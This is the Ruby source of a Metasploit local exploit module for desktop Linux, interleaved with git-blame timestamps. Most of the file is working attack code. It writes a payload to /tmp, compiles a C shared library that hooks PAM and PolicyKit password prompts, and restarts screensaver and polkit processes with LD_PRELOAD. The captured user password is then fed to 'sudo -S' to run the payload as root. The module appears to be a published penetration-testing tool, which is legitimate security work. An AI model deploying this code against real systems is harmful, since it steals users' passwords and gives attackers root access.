2014-08-25 00:05:20 +02:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2014-08-25 00:05:20 +02:00
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/exploit/exe'
require 'base64'
2014-09-04 21:49:55 +02:00
require 'metasm'
2014-08-25 00:05:20 +02:00
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf :: Exploit :: Local
2014-08-25 00:05:20 +02:00
Rank = ExcellentRanking
include Msf :: Exploit :: EXE
include Msf :: Post :: File
def initialize ( info = { } )
super ( update_info ( info , {
2014-12-24 14:35:35 -06:00
'Name' = > 'Desktop Linux Password Stealer and Privilege Escalation' ,
'Description' = > %q{
This module steals the user password of an administrative user on a desktop Linux system
when it is entered for unlocking the screen or for doing administrative actions using
2015-01-26 11:00:07 -06:00
PolicyKit. Then, it escalates to root privileges using sudo and the stolen user password.
2014-12-31 11:45:14 -06:00
It exploits the design weakness that there is no trusted channel for transferring the
2017-08-28 20:17:58 -04:00
password from the keyboard to the actual password verification against the shadow file
2014-12-24 14:35:35 -06:00
(which is running as root since /etc/shadow is only readable to the root user). Both
2015-01-26 11:00:07 -06:00
screensavers (xscreensaver/gnome-screensaver) and PolicyKit use a component running under
2014-12-24 14:35:35 -06:00
the current user account to query for the password and then pass it to a setuid-root binary
2014-12-31 11:45:14 -06:00
to do the password verification. Therefore, it is possible to inject a password stealer
2014-12-24 14:35:35 -06:00
after compromising the user account. Since sudo requires only the user password (and not
the root password of the system), stealing the user password of an administrative user
2014-12-31 11:45:14 -06:00
directly allows escalating to root privileges. Please note, you have to start a handler
2014-12-24 14:35:35 -06:00
as a background job before running this exploit since the exploit will only create a shell
when the user actually enters the password (which may be hours after launching the exploit).
Using exploit/multi/handler with the option ExitOnSession set to false should do the job.
} ,
'License' = > MSF_LICENSE ,
'Author' = > [ 'Jakob Lell' ] ,
'DisclosureDate' = > 'Aug 7 2014' ,
'Platform' = > 'linux' ,
2016-10-28 07:16:05 +10:00
'Arch' = > [ ARCH_X86 , ARCH_X64 ] ,
2014-12-24 14:35:35 -06:00
'SessionTypes' = > [ 'shell' , 'meterpreter' ] ,
'Targets' = >
[
[ 'Linux x86' , { 'Arch' = > ARCH_X86 } ] ,
2016-10-28 07:16:05 +10:00
[ 'Linux x86_64' , { 'Arch' = > ARCH_X64 } ]
2014-12-24 14:35:35 -06:00
] ,
'DefaultOptions' = >
{
'PrependSetresuid' = > true ,
'PrependFork' = > true ,
'DisablePayloadHandler' = > true
2014-08-25 00:05:20 +02:00
} ,
2014-12-24 14:35:35 -06:00
'DefaultTarget' = > 0 ,
2014-08-25 00:05:20 +02:00
}
2014-12-24 14:35:35 -06:00
) )
2018-10-10 14:12:29 +00:00
register_advanced_options [
OptString . new ( 'WritableDir' , [ true , 'A directory for storing temporary files on the target system' , '/tmp' ] )
]
2014-08-25 00:05:20 +02:00
end
def check
2014-12-24 14:49:19 -06:00
check_command = 'if which perl && '
check_command << 'which sudo && '
check_command << 'id|grep -E \'sudo|adm\' && '
check_command << 'pidof xscreensaver gnome-screensaver polkit-gnome-authentication-agent-1;'
check_command << 'then echo OK;'
check_command << 'fi'
output = cmd_exec ( check_command ) . gsub ( " \r " , '' )
2014-08-25 00:05:20 +02:00
vprint_status ( output )
2014-12-24 14:49:19 -06:00
2014-12-24 14:37:39 -06:00
if output [ 'OK' ] == 'OK'
2014-08-25 00:05:20 +02:00
return Exploit :: CheckCode :: Vulnerable
end
2014-12-24 14:49:19 -06:00
Exploit :: CheckCode :: Safe
end
def exploit
2014-12-24 15:43:49 -06:00
# Cannot use generic/shell_reverse_tcp inside an elf
# Checking before proceeds
pl = generate_payload_exe
2014-12-24 14:49:19 -06:00
exe_file = " #{ datastore [ 'WritableDir' ] } / #{ rand_text_alpha ( 3 + rand ( 5 ) ) } .elf "
print_status ( " Writing payload executable to ' #{ exe_file } ' " )
2014-12-24 15:43:49 -06:00
write_file ( exe_file , pl )
2014-12-24 14:49:19 -06:00
cmd_exec ( " chmod +x #{ exe_file } " )
cpu = nil
if target [ 'Arch' ] == ARCH_X86
cpu = Metasm :: Ia32 . new
2016-10-28 07:16:05 +10:00
elsif target [ 'Arch' ] == ARCH_X64
2014-12-24 14:49:19 -06:00
cpu = Metasm :: X86_64 . new
end
lib_data = Metasm :: ELF . compile_c ( cpu , c_code ( exe_file ) ) . encode_string ( :lib )
lib_file = " #{ datastore [ 'WritableDir' ] } / #{ rand_text_alpha ( 3 + rand ( 5 ) ) } .so "
print_status ( " Writing lib file to ' #{ lib_file } ' " )
write_file ( lib_file , lib_data )
print_status ( 'Restarting processes (screensaver/policykit)' )
2014-12-24 15:52:15 -06:00
restart_commands = get_restart_commands
2014-12-24 14:49:19 -06:00
restart_commands . each do | cmd |
cmd [ 'LD_PRELOAD_PLACEHOLDER' ] = lib_file
cmd_exec ( cmd )
end
print_status ( 'The exploit module has finished. However, getting a shell will probably take a while (until the user actually enters the password). Remember to keep a handler running.' )
2014-08-25 00:05:20 +02:00
end
2014-12-24 14:37:39 -06:00
2014-08-25 00:05:20 +02:00
def get_restart_commands
2014-12-24 14:55:18 -06:00
get_cmd_lines = 'pidof xscreensaver gnome-screensaver polkit-gnome-authentication-agent-1|'
get_cmd_lines << 'perl -ne \'while(/(\d+)/g){$pid=$1;next unless -r "/proc/$pid/environ";'
get_cmd_lines << 'print"PID:$pid\nEXE:".readlink("/proc/$pid/exe")."\n";'
get_cmd_lines << '$/=undef;'
get_cmd_lines << 'for("cmdline","environ"){open F,"</proc/$pid/$_";print "$_:".unpack("H*",<F>),"\n";}}\''
text_output = cmd_exec ( get_cmd_lines ) . gsub ( " \r " , '' )
2014-08-25 00:05:20 +02:00
vprint_status ( text_output )
2014-12-24 14:55:18 -06:00
2014-08-25 00:05:20 +02:00
lines = text_output . split ( " \n " )
2014-12-24 14:55:18 -06:00
restart_commands = [ ]
2014-08-25 00:05:20 +02:00
i = 0
2014-12-24 14:55:18 -06:00
while i < lines . length - 3
2014-08-25 00:05:20 +02:00
m = lines [ i ] . match ( / ^PID:( \ d+) / )
2014-12-24 14:55:18 -06:00
2014-08-25 00:05:20 +02:00
if m
pid = m [ 1 ]
vprint_status ( " PID= #{ pid } " )
2014-09-04 21:49:55 +02:00
print_status ( " Found process: " + lines [ i + 1 ] )
2014-12-24 14:55:18 -06:00
2014-08-25 00:05:20 +02:00
exe = lines [ i + 1 ] . match ( / ^EXE:( \ S+)$ / ) [ 1 ]
vprint_status ( " exe= #{ exe } " )
2014-12-24 14:55:18 -06:00
2014-12-24 15:52:15 -06:00
cmdline = [ lines [ i + 2 ] . match ( / ^cmdline:( \ w+)$ / ) [ 1 ] ] . pack ( 'H*' ) . split ( " \x00 " )
vprint_status ( " CMDLINE= " + cmdline . join ( ' XXX ' ) )
2014-12-24 14:55:18 -06:00
2014-08-25 00:05:20 +02:00
env = lines [ i + 3 ] . match ( / ^environ:( \ w+)$ / ) [ 1 ]
2014-12-24 15:52:15 -06:00
restart_command = 'perl -e \'use POSIX setsid;open STDIN,"</dev/null";open STDOUT,">/dev/null";open STDERR,">/dev/null";exit if fork;setsid();'
restart_command << 'kill(9,' + pid + ')||exit;%ENV=();for(split("\0",pack("H*","' + env + '"))){/([^=]+)=(.*)/;$ENV{$1}=$2}'
restart_command << '$ENV{"LD_PRELOAD"}="LD_PRELOAD_PLACEHOLDER";exec {"' + exe + '"} ' + cmdline . map { | x | '"' + x + '"' } . join ( " , " ) + '\''
2014-12-24 14:55:18 -06:00
2014-08-25 00:05:20 +02:00
vprint_status ( " RESTART: #{ restart_command } " )
2014-12-24 14:55:18 -06:00
restart_commands . push ( restart_command )
2014-08-25 00:05:20 +02:00
end
2014-12-24 14:55:18 -06:00
2014-08-25 00:05:20 +02:00
i += 1
end
2014-12-24 14:55:18 -06:00
restart_commands
2014-08-25 00:05:20 +02:00
end
2014-12-24 14:49:19 -06:00
def c_code ( exe_file )
2014-09-04 21:49:55 +02:00
c = %Q|
// A few constants/function definitions/structs copied from header files
#define RTLD_NEXT ((void *) -1l)
extern uintptr_t dlsym(uintptr_t, char*);
// Define some structs to void so that we can ignore all dependencies from these structs
#define FILE void
#define pam_handle_t void
extern FILE *popen(const char *command, const char *type);
extern int pclose(FILE *stream);
extern int fprintf(FILE *stream, const char *format, ...);
extern char *strstr(const char *haystack, const char *needle);
extern void *malloc(unsigned int size);
struct pam_message {
int msg_style;
const char *msg;
};
2014-12-24 15:45:38 -06:00
2014-09-04 21:49:55 +02:00
struct pam_response {
char *resp;
int resp_retcode;
};
2014-12-24 15:45:38 -06:00
2014-09-04 21:49:55 +02:00
struct pam_conv {
int (*conv)(int num_msg, const struct pam_message **msg,
struct pam_response **resp, void *appdata_ptr);
void *appdata_ptr;
};
2014-12-24 15:45:38 -06:00
void run_sudo(char* password) {
FILE* sudo = popen("sudo -S #{exe_file}", "w");
2014-09-04 21:49:55 +02:00
fprintf(sudo,"%s\\n",password);
pclose(sudo);
}
2014-12-24 15:45:38 -06:00
int my_conv(int num_msg, const struct pam_message **msg, struct pam_response **resp, void *appdata_ptr) {
2014-09-04 21:49:55 +02:00
struct pam_conv *orig_pam_conversation = (struct pam_conv *)appdata_ptr;
int i;
int passwd_index = -1;
for(i=0;i<num_msg;i++){
if(strstr(msg[i]->msg,"Password") >= 0){
passwd_index = i;
}
}
2014-12-24 15:45:38 -06:00
int result = orig_pam_conversation->conv(num_msg, msg, resp, orig_pam_conversation->appdata_ptr);
2014-09-04 21:49:55 +02:00
if(passwd_index >= 0){
run_sudo(resp[passwd_index]->resp);
}
return result;
}
2014-12-24 15:45:38 -06:00
int pam_start(const char *service_name, const char *user, const struct pam_conv *pam_conversation, pam_handle_t **pamh) __attribute__((export)) {
2014-09-04 21:49:55 +02:00
static int (*orig_pam_start)(const char *service_name, const char *user, const struct pam_conv *pam_conversation, pam_handle_t **pamh);
if(!orig_pam_start){
orig_pam_start = dlsym(RTLD_NEXT,"pam_start");
}
struct pam_conv *my_pam_conversation = malloc(sizeof(struct pam_conv));
my_pam_conversation->conv = &my_conv;
my_pam_conversation->appdata_ptr = (struct pam_conv *)pam_conversation;
return orig_pam_start(service_name, user, my_pam_conversation, pamh);
}
2014-12-24 15:45:38 -06:00
void polkit_agent_session_response (void *session, char *response) __attribute__((export)) {
2014-09-04 21:49:55 +02:00
static void *(*orig_polkit_agent_session_response)(void *session, char* response);
if(!orig_polkit_agent_session_response){
orig_polkit_agent_session_response = dlsym(RTLD_NEXT,"polkit_agent_session_response");
}
run_sudo(response);
2014-12-24 15:45:38 -06:00
orig_polkit_agent_session_response(session, response);
2014-09-04 21:49:55 +02:00
return;
}
|
2014-12-24 14:49:19 -06:00
c
2014-08-25 00:05:20 +02:00
end
end